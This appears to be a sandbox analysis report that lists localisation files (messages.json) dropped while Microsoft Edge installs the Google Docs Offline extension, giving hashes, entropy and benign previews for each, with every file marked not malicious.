SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
